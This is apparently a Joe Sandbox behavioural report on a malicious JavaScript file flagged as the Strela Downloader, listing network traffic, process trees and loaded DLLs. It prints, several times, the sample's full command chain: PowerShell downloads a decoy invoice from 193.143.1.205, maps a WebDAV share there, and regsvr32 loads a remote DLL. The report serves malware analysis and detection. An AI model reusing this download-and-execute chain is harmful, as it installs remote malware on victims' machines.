Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1698004273.000002899BFEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000003.1749074220.0000023B4A07B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1754817040.0000023B4A028000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1750332877.0000023B4A05B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1754874773.0000023B4A07D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1754874773.0000023B4A05B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000003.1750332877.0000023B4A05B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1754874773.0000023B4A05B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/H
Source: svchost.exe, 00000008.00000002.2971027286.0000026804C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1752237054.0000026804E18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1752237054.0000026804E18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1752237054.0000026804E18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1752237054.0000026804E4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1752237054.0000026804EC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1752237054.0000026804EC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1752237054.0000026804EC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7452, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 173992455338126060.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7516:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g3xcizxg.uh2.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\173992455338126060.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1604,i,14776943152426068880,9895503189276820385,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1604,i,14776943152426068880,9895503189276820385,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
